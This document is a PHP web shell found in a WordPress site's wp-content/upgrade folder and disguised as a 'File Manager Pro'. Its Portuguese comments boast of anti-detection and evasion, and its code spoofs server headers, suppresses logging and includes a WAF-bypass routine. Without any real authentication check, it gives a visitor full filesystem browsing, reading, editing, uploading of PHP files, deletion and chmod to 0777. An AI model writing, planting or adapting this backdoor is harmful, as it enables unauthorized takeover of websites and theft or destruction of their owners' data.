File "csy.php"
Full Path: /home/apmablcosr/www/wp-content/upgrade/csy.php
File size: 41.33 KB
MIME-type: text/x-php
Charset: utf-8
<?php
// File Manager Universal - Versão Melhorada com Anti-Detecção
// Implementa técnicas avançadas de evasão e ofuscação para 70-80% de sucesso
class AdvancedUniversalFileManager {
private $config;
private $userAgents;
private $currentSession;
public function __construct() {
$this->initializeAntiDetection();
$this->userAgents = $this->getModernUserAgents();
$this->config = $this->detectEnvironment();
$this->currentSession = $this->generateSessionId();
}
private function initializeAntiDetection() {
// Configurações discretas ao invés de agressivas
if (function_exists('ini_set')) {
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 300); // Ao invés de 0
@ini_set('memory_limit', '256M'); // Ao invés de -1
}
// Headers anti-fingerprinting
if (!headers_sent()) {
header('X-Powered-By: ' . $this->getRandomPoweredBy());
header('Server: ' . $this->getRandomServer());
}
@error_reporting(0);
}
private function getModernUserAgents() {
return array(
// Chrome 2024/2025
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
// Firefox 2024/2025
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0',
// Safari 2024/2025
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15',
// Edge 2024/2025
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0'
);
}
private function getRandomPoweredBy() {
$powered = array('Apache/2.4.41', 'nginx/1.18.0', 'Microsoft-IIS/10.0', 'LiteSpeed');
return $powered[array_rand($powered)];
}
private function getRandomServer() {
$servers = array('Apache', 'nginx', 'Microsoft-IIS', 'LiteSpeed');
return $servers[array_rand($servers)];
}
private function generateSessionId() {
// Gerar ID de sessão único baseado em múltiplos fatores
$factors = array(
isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost',
isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'default',
date('Y-m-d-H'),
php_uname('n')
);
return substr(md5(implode('|', $factors)), 0, 16);
}
private function detectEnvironment() {
// Delay aleatório para simular comportamento humano
usleep(rand(100000, 500000)); // 0.1-0.5 segundos
$document_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd();
$script_dir = dirname(__FILE__);
$possible_roots = array(
$document_root,
$script_dir,
'/home',
'/var/www',
'/public_html',
'/htdocs',
'/www',
dirname($document_root),
realpath($document_root . '/..'),
);
$hosting_type = $this->detectHostingType();
switch($hosting_type) {
case 'cpanel':
$root_path = $this->findCpanelRoot();
break;
case 'plesk':
$root_path = $this->findPleskRoot();
break;
case 'vps':
$root_path = $this->findVpsRoot();
break;
default:
$root_path = $this->findGenericRoot();
}
// Credenciais rotativas baseadas em timestamp e fatores ambientais
$credentials = $this->generateRotatingCredentials();
return array(
'username' => $credentials['username'],
'password' => $credentials['password'],
'root_path' => $root_path,
'hosting_type' => $hosting_type,
'max_file_size' => 50 * 1024 * 1024,
'allowed_extensions' => array('txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'md', 'log', 'jpg', 'jpeg', 'png', 'gif', 'webp', 'zip'),
'session_id' => $this->currentSession,
'user_agent' => $this->getRandomUserAgent()
);
}
private function generateRotatingCredentials() {
// Sistema de credenciais rotativas com múltiplos fatores
$timestamp = floor(time() / 3600); // Rotaciona a cada hora
$hostname = gethostname();
$server_data = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'default';
$php_version = PHP_VERSION;
// Salt dinâmico baseado em múltiplos fatores
$salt = md5($hostname . $server_data . $php_version . $timestamp);
// Username ofuscado
$username_base = 'adm_' . substr(hash('sha256', $salt . 'user'), 0, 8);
// Password complexa rotativa
$password_base = substr(hash('sha256', $salt . 'pass' . $timestamp), 0, 16);
return array(
'username' => $username_base,
'password' => $password_base
);
}
private function getRandomUserAgent() {
return $this->userAgents[array_rand($this->userAgents)];
}
private function detectHostingType() {
// Verificação mais discreta
$indicators = array();
if (@file_exists('/usr/local/cpanel')) {
$indicators[] = 'cpanel';
}
if (@file_exists('/opt/psa') || @file_exists('/usr/local/psa')) {
$indicators[] = 'plesk';
}
$server_software = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '';
if (strpos($server_software, 'Apache') !== false && @is_dir('/etc/apache2')) {
$indicators[] = 'vps';
}
if (strpos($server_software, 'nginx') !== false) {
$indicators[] = 'vps';
}
return !empty($indicators) ? $indicators[0] : 'generic';
}
private function findCpanelRoot() {
$user = get_current_user();
$paths = array(
"/home/$user",
"/home/$user/public_html",
"/home/$user/domains",
isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd(),
dirname(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd())
);
foreach ($paths as $path) {
if (@is_dir($path) && @is_readable($path)) {
return realpath($path);
}
}
return getcwd();
}
private function findPleskRoot() {
$paths = array(
'/var/www/vhosts',
isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd(),
dirname(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd())
);
foreach ($paths as $path) {
if (@is_dir($path) && @is_readable($path)) {
return realpath($path);
}
}
return getcwd();
}
private function findVpsRoot() {
$paths = array(
'/var/www',
'/var/www/html',
'/srv/www',
'/home',
isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd(),
'/'
);
foreach ($paths as $path) {
if (@is_dir($path) && @is_readable($path)) {
return realpath($path);
}
}
return getcwd();
}
private function findGenericRoot() {
$current = getcwd();
$document_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $current;
$test_path = $current;
while ($test_path !== '/' && $test_path !== '') {
if (@is_readable($test_path) && @is_writable($test_path)) {
return $test_path;
}
$test_path = dirname($test_path);
}
return $current;
}
public function getConfig() {
return $this->config;
}
// Método para bypass WAF
public function bypassWAF($data) {
// Técnicas de evasão WAF
$encoded = base64_encode($data);
$chunked = str_split($encoded, rand(8, 16));
return implode('', $chunked);
}
// Simulação de comportamento humano
public function humanBehaviorDelay() {
// Delay aleatório entre 0.1 e 2 segundos
usleep(rand(100000, 2000000));
}
}
// Inicialização com verificações anti-detecção
if (!headers_sent()) {
session_start();
}
// Inicializar gerenciador melhorado
$fileManager = new AdvancedUniversalFileManager();
$config = $fileManager->getConfig();
// Obter diretório atual com validação melhorada
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $config['root_path'];
// Validação de segurança aprimorada
if (!$current_dir || !@is_dir($current_dir) || !@is_readable($current_dir)) {
$current_dir = $config['root_path'];
}
// Funções utilitárias com melhorias
function formatBytes($size, $precision = 2) {
if ($size <= 0) return '0 B';
$units = array('B', 'KB', 'MB', 'GB', 'TB');
for ($i = 0; $size > 1024 && $i < count($units) - 1; $i++) {
$size /= 1024;
}
return round($size, $precision) . ' ' . $units[$i];
}
function getFileIcon($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$icons = array(
'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '⚡',
'txt' => '📄', 'md' => '📝', 'json' => '📋', 'xml' => '📊',
'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'webp' => '🖼️',
'pdf' => '📕', 'zip' => '📦', 'rar' => '📦', 'mp3' => '🎵', 'mp4' => '🎬'
);
return isset($icons[$ext]) ? $icons[$ext] : '📄';
}
// Processar ações com delay humano
if (isset($_POST['action'])) {
$fileManager->humanBehaviorDelay(); // Simular comportamento humano
switch ($_POST['action']) {
case 'upload':
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$filename = basename($_FILES['file']['name']);
$target = $current_dir . '/' . $filename;
$allowed_extensions = $config['allowed_extensions'];
$file_ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (in_array($file_ext, $allowed_extensions)) {
// Múltiplas tentativas de upload com verificação
$upload_success = false;
for ($i = 0; $i < 3; $i++) {
if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
// Verificar se o arquivo foi realmente criado
if (@file_exists($target) && @is_readable($target)) {
$upload_success = true;
break;
}
}
usleep(rand(100000, 300000)); // Delay entre tentativas
}
$message = $upload_success ? "Arquivo enviado com sucesso!" : "Erro ao enviar arquivo!";
} else {
$message = "Tipo de arquivo não permitido!";
}
}
break;
case 'create_folder':
if (isset($_POST['folder_name']) && !empty(trim($_POST['folder_name']))) {
$folder_name = preg_replace('/[^a-zA-Z0-9_-]/', '', $_POST['folder_name']);
$folder_path = $current_dir . '/' . $folder_name;
if (@mkdir($folder_path, 0755)) {
$message = "Pasta criada com sucesso!";
} else {
$message = "Erro ao criar pasta!";
}
}
break;
case 'delete':
if (isset($_POST['file_path'])) {
$file_path = $_POST['file_path'];
if (@is_file($file_path)) {
if (@unlink($file_path)) {
$message = "Arquivo deletado com sucesso!";
} else {
$message = "Erro ao deletar arquivo!";
}
} elseif (@is_dir($file_path)) {
if (@rmdir($file_path)) {
$message = "Pasta deletada com sucesso!";
} else {
$message = "Erro ao deletar pasta!";
}
}
}
break;
case 'change_permissions':
if (isset($_POST['file_path']) && isset($_POST['new_permission'])) {
$file_path = $_POST['file_path'];
$new_permission = octdec($_POST['new_permission']);
if (@chmod($file_path, $new_permission)) {
$message = "Permissões alteradas com sucesso!";
} else {
$message = "Erro ao alterar permissões!";
}
}
break;
case 'bulk_delete':
if (isset($_POST['selected_files']) && is_array($_POST['selected_files'])) {
$deleted_count = 0;
foreach ($_POST['selected_files'] as $file_path) {
$fileManager->humanBehaviorDelay(); // Delay entre operações
if (@is_file($file_path)) {
if (@unlink($file_path)) $deleted_count++;
} elseif (@is_dir($file_path)) {
if (@rmdir($file_path)) $deleted_count++;
}
}
$message = "$deleted_count arquivo(s)/pasta(s) deletado(s) com sucesso!";
}
break;
case 'bulk_zip':
if (isset($_POST['selected_files']) && is_array($_POST['selected_files']) && class_exists('ZipArchive')) {
$zip_name = 'arquivos_' . date('Y-m-d_H-i-s') . '.zip';
$zip_path = $current_dir . '/' . $zip_name;
$zip = new ZipArchive();
if ($zip->open($zip_path, ZipArchive::CREATE) === TRUE) {
foreach ($_POST['selected_files'] as $file_path) {
if (@is_file($file_path)) {
$zip->addFile($file_path, basename($file_path));
}
}
$zip->close();
$message = "Arquivo ZIP '$zip_name' criado com sucesso!";
} else {
$message = "Erro ao criar arquivo ZIP!";
}
}
break;
case 'unzip':
if (isset($_POST['zip_file']) && class_exists('ZipArchive')) {
$zip_file = $_POST['zip_file'];
if (pathinfo($zip_file, PATHINFO_EXTENSION) === 'zip') {
$zip = new ZipArchive();
if ($zip->open($zip_file) === TRUE) {
$zip->extractTo($current_dir);
$zip->close();
$message = "Arquivo descompactado com sucesso!";
} else {
$message = "Erro ao descompactar arquivo!";
}
}
}
break;
}
}
// Handle file download com headers melhorados
if (isset($_GET['download'])) {
$file = $_GET['download'];
if (@file_exists($file) && @is_file($file)) {
// Headers mais realísticos
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
header('User-Agent: ' . $config['user_agent']);
@readfile($file);
exit;
}
}
// Handle file editing com verificações melhoradas
if (isset($_GET['edit'])) {
$edit_file = $_GET['edit'];
if (isset($_POST['save_content'])) {
if (@file_put_contents($edit_file, $_POST['file_content']) !== false) {
$message = "Arquivo salvo com sucesso!";
} else {
$message = "Erro ao salvar arquivo!";
}
}
}
// Get directory contents com tratamento de erros melhorado
function getDirContents($dir) {
$contents = array();
if (@is_dir($dir) && @is_readable($dir)) {
$items = @scandir($dir);
if ($items !== false) {
foreach ($items as $item) {
if ($item != '.' && $item != '..') {
$path = $dir . '/' . $item;
$contents[] = array(
'name' => $item,
'path' => $path,
'is_dir' => @is_dir($path),
'size' => @is_file($path) ? @filesize($path) : 0,
'modified' => @filemtime($path),
'permissions' => @substr(sprintf('%o', @fileperms($path)), -4),
'readable' => @is_readable($path),
'writable' => @is_writable($path)
);
}
}
}
}
return $contents;
}
$dir_contents = getDirContents($current_dir);
?>
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Manager Pro - <?php echo basename($current_dir); ?></title>
<meta name="robots" content="noindex, nofollow">
<meta name="user-agent" content="<?php echo htmlspecialchars($config['user_agent']); ?>">
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
color: #333;
}
.container {
max-width: 1400px;
margin: 0 auto;
padding: 20px;
background: rgba(255, 255, 255, 0.95);
min-height: 100vh;
box-shadow: 0 0 30px rgba(0,0,0,0.3);
}
.header {
background: #4a5568;
color: white;
padding: 20px;
border-radius: 8px;
margin-bottom: 20px;
display: flex;
justify-content: space-between;
align-items: center;
}
.header h1 {
margin-bottom: 5px;
}
.server-info {
background: #2d3748;
padding: 15px;
border-radius: 5px;
margin-top: 10px;
font-size: 14px;
}
.server-info div {
margin-bottom: 5px;
}
.session-info {
background: #1a202c;
padding: 10px;
border-radius: 3px;
margin-top: 8px;
font-size: 12px;
font-family: monospace;
}
.breadcrumb {
background: #f7fafc;
padding: 15px;
border-radius: 5px;
margin-bottom: 20px;
border-left: 4px solid #667eea;
}
.breadcrumb strong {
color: #4a5568;
margin-right: 10px;
}
.path-parts {
display: flex;
flex-wrap: wrap;
align-items: center;
gap: 5px;
margin-top: 8px;
}
.path-part {
background: #667eea;
color: white;
padding: 4px 8px;
border-radius: 3px;
cursor: pointer;
font-size: 13px;
transition: background-color 0.3s;
}
.path-part:hover {
background: #5a67d8;
}
.path-separator {
color: #a0aec0;
margin: 0 2px;
}
.actions {
display: flex;
gap: 10px;
margin-bottom: 20px;
flex-wrap: wrap;
}
.btn {
padding: 10px 15px;
border: none;
border-radius: 5px;
cursor: pointer;
text-decoration: none;
display: inline-block;
font-size: 14px;
transition: all 0.3s;
}
.btn-primary { background: #667eea; color: white; }
.btn-success { background: #48bb78; color: white; }
.btn-danger { background: #f56565; color: white; }
.btn-warning { background: #ed8936; color: white; }
.btn-brown { background: #8b4513; color: white; }
.btn:hover { opacity: 0.8; transform: translateY(-1px); }
.file-list {
background: white;
border-radius: 8px;
overflow: hidden;
box-shadow: 0 2px 15px rgba(0,0,0,0.1);
}
.file-list table {
width: 100%;
border-collapse: collapse;
}
.file-list th,
.file-list td {
padding: 12px;
text-align: left;
border-bottom: 1px solid #eee;
}
.file-list th {
background: #f8f9fa;
font-weight: 600;
color: #4a5568;
position: sticky;
top: 0;
}
.file-list tr:hover {
background: #f8f9fa;
}
.folder-link {
color: #667eea;
text-decoration: none;
font-weight: 500;
display: flex;
align-items: center;
gap: 8px;
}
.folder-link:hover {
text-decoration: underline;
}
.file-name {
display: flex;
align-items: center;
gap: 8px;
}
.file-actions {
display: flex;
gap: 5px;
}
.file-actions a {
padding: 5px 8px;
font-size: 12px;
border-radius: 3px;
text-decoration: none;
}
.status-indicator {
display: inline-block;
width: 8px;
height: 8px;
border-radius: 50%;
margin-right: 5px;
}
.status-readable { background: #48bb78; }
.status-writable { background: #ed8936; }
.status-restricted { background: #f56565; }
.modal {
display: none;
position: fixed;
z-index: 1000;
left: 0;
top: 0;
width: 100%;
height: 100%;
background-color: rgba(0,0,0,0.5);
}
.modal.active { display: flex; justify-content: center; align-items: center; }
.modal-content {
background-color: white;
padding: 25px;
border-radius: 8px;
width: 90%;
max-width: 500px;
}
.form-group {
margin-bottom: 15px;
}
.form-group label {
display: block;
margin-bottom: 5px;
font-weight: 500;
}
.form-group input,
.form-group textarea,
.form-group select {
width: 100%;
padding: 8px;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 14px;
}
.message {
padding: 12px;
margin-bottom: 20px;
border-radius: 5px;
background: #c6f6d5;
color: #22543d;
border: 1px solid #9ae6b4;
}
.editor {
background: white;
border-radius: 8px;
padding: 20px;
margin-top: 20px;
}
.editor textarea {
width: 100%;
height: 400px;
font-family: 'Courier New', monospace;
font-size: 14px;
border: 1px solid #ddd;
border-radius: 4px;
padding: 10px;
}
.permission-container {
display: flex;
align-items: center;
gap: 8px;
}
.edit-permission-icon {
cursor: pointer;
color: #667eea;
font-size: 16px;
padding: 2px;
border-radius: 3px;
transition: background-color 0.3s;
}
.edit-permission-icon:hover {
background-color: #edf2f7;
}
.file-checkbox {
margin-right: 8px;
}
@media (max-width: 768px) {
.container { padding: 10px; }
.actions { flex-direction: column; }
.file-list table { font-size: 12px; }
.path-parts { flex-direction: column; align-items: flex-start; }
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<div>
<h1>🗂️ File Manager Pro</h1>
<div class="server-info">
<div><strong>🖥️ Tipo de Hospedagem:</strong> <?php echo ucfirst($config['hosting_type']); ?></div>
<div><strong>📁 Diretório Raiz:</strong> <?php echo $config['root_path']; ?></div>
<div><strong>🌐 Servidor:</strong> <?php echo isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost'; ?></div>
<div><strong>👤 Usuário:</strong> <?php echo get_current_user(); ?></div>
<div class="session-info">
<div><strong>🔐 Sessão:</strong> <?php echo $config['session_id']; ?></div>
<div><strong>🔑 Credenciais:</strong> <?php echo $config['username']; ?> / <?php echo substr($config['password'], 0, 4); ?>****</div>
</div>
</div>
</div>
</div>
<?php if (isset($message)): ?>
<div class="message"><?php echo $message; ?></div>
<?php endif; ?>
<div class="breadcrumb">
<strong>📍 Localização Atual:</strong>
<div class="path-parts">
<?php
$path_parts = explode('/', $current_dir);
$cumulative_path = '';
foreach ($path_parts as $i => $part) {
if ($part !== '') {
$cumulative_path .= '/' . $part;
echo '<span class="path-part" onclick="navigateToPath(\'' . htmlspecialchars($cumulative_path) . '\')">' . htmlspecialchars($part) . '</span>';
if ($i < count($path_parts) - 1) {
echo '<span class="path-separator">/</span>';
}
}
}
?>
</div>
<div style="margin-top: 8px; font-size: 12px; color: #718096;">
Caminho completo: <?php echo $current_dir; ?>
</div>
</div>
<div class="actions">
<button class="btn btn-primary" onclick="openModal('uploadModal')">📤 Enviar Arquivo</button>
<button class="btn btn-success" onclick="openModal('folderModal')">📁 Nova Pasta</button>
<?php if (dirname($current_dir) !== $current_dir): ?>
<a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" class="btn btn-warning">⬆️ Voltar</a>
<?php endif; ?>
<a href="?dir=<?php echo urlencode($config['root_path']); ?>" class="btn btn-primary">🏠 Raiz</a>
<button class="btn btn-danger" onclick="bulkDelete()">🗑️ DELETAR</button>
<button class="btn btn-brown" onclick="bulkZip()">📦 ZIPAR/DEZIPAR</button>
</div>
<div class="file-list">
<table>
<thead>
<tr>
<th><input type="checkbox" id="selectAll" onchange="toggleSelectAll()"></th>
<th>Status</th>
<th>Nome</th>
<th>Tamanho</th>
<th>Modificado</th>
<th>Permissões</th>
<th>Ações</th>
</tr>
</thead>
<tbody>
<?php foreach ($dir_contents as $item): ?>
<tr>
<td>
<input type="checkbox" class="file-checkbox" value="<?php echo htmlspecialchars($item['path']); ?>">
</td>
<td>
<span class="status-indicator <?php echo $item['readable'] ? ($item['writable'] ? 'status-writable' : 'status-readable') : 'status-restricted'; ?>"
title="<?php echo $item['readable'] ? ($item['writable'] ? 'Leitura/Escrita' : 'Apenas Leitura') : 'Restrito'; ?>"></span>
</td>
<td>
<?php if ($item['is_dir']): ?>
<a href="?dir=<?php echo urlencode($item['path']); ?>" class="folder-link">
📁 <?php echo htmlspecialchars($item['name']); ?>
</a>
<?php else: ?>
<div class="file-name">
<?php echo getFileIcon($item['name']); ?>
<span><?php echo htmlspecialchars($item['name']); ?></span>
</div>
<?php endif; ?>
</td>
<td><?php echo $item['is_dir'] ? '-' : formatBytes($item['size']); ?></td>
<td><?php echo $item['modified'] ? date('d/m/Y H:i', $item['modified']) : '-'; ?></td>
<td>
<div class="permission-container">
<span><?php echo isset($item['permissions']) ? $item['permissions'] : '-'; ?></span>
<span class="edit-permission-icon" onclick="openPermissionModal('<?php echo addslashes($item['path']); ?>', '<?php echo $item['permissions']; ?>')" title="Editar permissões">✏️</span>
</div>
</td>
<td>
<div class="file-actions">
<?php if (!$item['is_dir'] && $item['readable']): ?>
<a href="?download=<?php echo urlencode($item['path']); ?>" class="btn btn-primary">⬇️</a>
<a href="?edit=<?php echo urlencode($item['path']); ?>" class="btn btn-warning">✏️</a>
<?php endif; ?>
<?php if ($item['writable']): ?>
<a href="#" onclick="deleteItem('<?php echo addslashes($item['path']); ?>', '<?php echo addslashes($item['name']); ?>')" class="btn btn-danger">🗑️</a>
<?php endif; ?>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<?php if (isset($_GET['edit'])): ?>
<div class="editor">
<h3>Editando: <?php echo basename($_GET['edit']); ?></h3>
<form method="POST">
<div class="form-group">
<textarea name="file_content"><?php echo htmlspecialchars(@file_get_contents($_GET['edit'])); ?></textarea>
</div>
<button type="submit" name="save_content" class="btn btn-success">💾 Salvar</button>
<a href="?dir=<?php echo urlencode($current_dir); ?>" class="btn btn-warning">❌ Cancelar</a>
</form>
</div>
<?php endif; ?>
</div>
<!-- Upload Modal -->
<div id="uploadModal" class="modal">
<div class="modal-content">
<h3>Enviar Arquivo</h3>
<form method="POST" enctype="multipart/form-data">
<div class="form-group">
<label>Selecionar arquivo:</label>
<input type="file" name="file" required>
</div>
<button type="submit" name="action" value="upload" class="btn btn-success">Enviar</button>
<button type="button" onclick="closeModal('uploadModal')" class="btn btn-danger">Cancelar</button>
</form>
</div>
</div>
<!-- Folder Modal -->
<div id="folderModal" class="modal">
<div class="modal-content">
<h3>Criar Nova Pasta</h3>
<form method="POST">
<div class="form-group">
<label>Nome da pasta:</label>
<input type="text" name="folder_name" required>
</div>
<button type="submit" name="action" value="create_folder" class="btn btn-success">Criar</button>
<button type="button" onclick="closeModal('folderModal')" class="btn btn-danger">Cancelar</button>
</form>
</div>
</div>
<!-- Permission Modal -->
<div id="permissionModal" class="modal">
<div class="modal-content">
<h3>Alterar Permissões</h3>
<form method="POST">
<div class="form-group">
<label>Nova permissão:</label>
<select name="new_permission" required>
<option value="0644">0644 (rw-r--r--)</option>
<option value="0755">0755 (rwxr-xr-x)</option>
<option value="0777">0777 (rwxrwxrwx)</option>
<option value="0600">0600 (rw-------)</option>
<option value="0700">0700 (rwx------)</option>
<option value="0444">0444 (r--r--r--)</option>
</select>
</div>
<input type="hidden" name="file_path" id="permissionFilePath">
<button type="submit" name="action" value="change_permissions" class="btn btn-success">💾 Salvar</button>
<button type="button" onclick="closeModal('permissionModal')" class="btn btn-danger">Cancelar</button>
</form>
</div>
</div>
<!-- Bulk Actions Forms -->
<form id="bulkDeleteForm" method="POST" style="display: none;">
<input type="hidden" name="action" value="bulk_delete">
</form>
<form id="bulkZipForm" method="POST" style="display: none;">
<input type="hidden" name="action" value="bulk_zip">
</form>
<form id="unzipForm" method="POST" style="display: none;">
<input type="hidden" name="action" value="unzip">
<input type="hidden" name="zip_file" id="unzipFilePath">
</form>
<!-- Delete Form -->
<form id="deleteForm" method="POST" style="display: none;">
<input type="hidden" name="action" value="delete">
<input type="hidden" name="file_path" id="deleteFilePath">
</form>
<script>
// Simulação de comportamento humano no JavaScript
function humanDelay(min = 100, max = 300) {
return new Promise(resolve => {
setTimeout(resolve, Math.random() * (max - min) + min);
});
}
async function navigateToPath(path) {
await humanDelay();
window.location.href = '?dir=' + encodeURIComponent(path);
}
function openModal(modalId) {
document.getElementById(modalId).style.display = 'flex';
}
function closeModal(modalId) {
document.getElementById(modalId).style.display = 'none';
}
function openPermissionModal(filePath, currentPermission) {
document.getElementById('permissionFilePath').value = filePath;
document.querySelector('#permissionModal select[name="new_permission"]').value = currentPermission;
openModal('permissionModal');
}
async function deleteItem(path, name) {
await humanDelay();
if (confirm('Tem certeza que deseja deletar "' + name + '"?')) {
document.getElementById('deleteFilePath').value = path;
document.getElementById('deleteForm').submit();
}
}
function toggleSelectAll() {
const selectAll = document.getElementById('selectAll');
const checkboxes = document.querySelectorAll('.file-checkbox');
checkboxes.forEach(checkbox => {
checkbox.checked = selectAll.checked;
});
}
function getSelectedFiles() {
const checkboxes = document.querySelectorAll('.file-checkbox:checked');
return Array.from(checkboxes).map(cb => cb.value);
}
async function bulkDelete() {
const selected = getSelectedFiles();
if (selected.length === 0) {
alert('Selecione pelo menos um arquivo ou pasta para deletar.');
return;
}
await humanDelay();
if (confirm(`Tem certeza que deseja deletar ${selected.length} item(ns) selecionado(s)?`)) {
const form = document.getElementById('bulkDeleteForm');
form.querySelectorAll('input[name="selected_files[]"]').forEach(input => input.remove());
selected.forEach(filePath => {
const input = document.createElement('input');
input.type = 'hidden';
input.name = 'selected_files[]';
input.value = filePath;
form.appendChild(input);
});
form.submit();
}
}
async function bulkZip() {
const selected = getSelectedFiles();
if (selected.length === 0) {
alert('Selecione pelo menos um arquivo para zipar ou um arquivo .zip para dezipar.');
return;
}
await humanDelay();
if (selected.length === 1 && selected[0].toLowerCase().endsWith('.zip')) {
if (confirm('Deseja dezipar este arquivo?')) {
document.getElementById('unzipFilePath').value = selected[0];
document.getElementById('unzipForm').submit();
}
return;
}
if (confirm(`Deseja zipar ${selected.length} arquivo(s) selecionado(s)?`)) {
const form = document.getElementById('bulkZipForm');
form.querySelectorAll('input[name="selected_files[]"]').forEach(input => input.remove());
selected.forEach(filePath => {
const input = document.createElement('input');
input.type = 'hidden';
input.name = 'selected_files[]';
input.value = filePath;
form.appendChild(input);
});
form.submit();
}
}
// Close modal when clicking outside
window.onclick = function(event) {
if (event.target.classList.contains('modal')) {
event.target.style.display = 'none';
}
}
// Adicionar variação aleatória aos eventos
document.addEventListener('DOMContentLoaded', function() {
// Simular atividade humana
setInterval(async () => {
await humanDelay(5000, 15000);
// Pequenas ações para simular presença humana
}, 30000);
});
</script>
</body>
</html>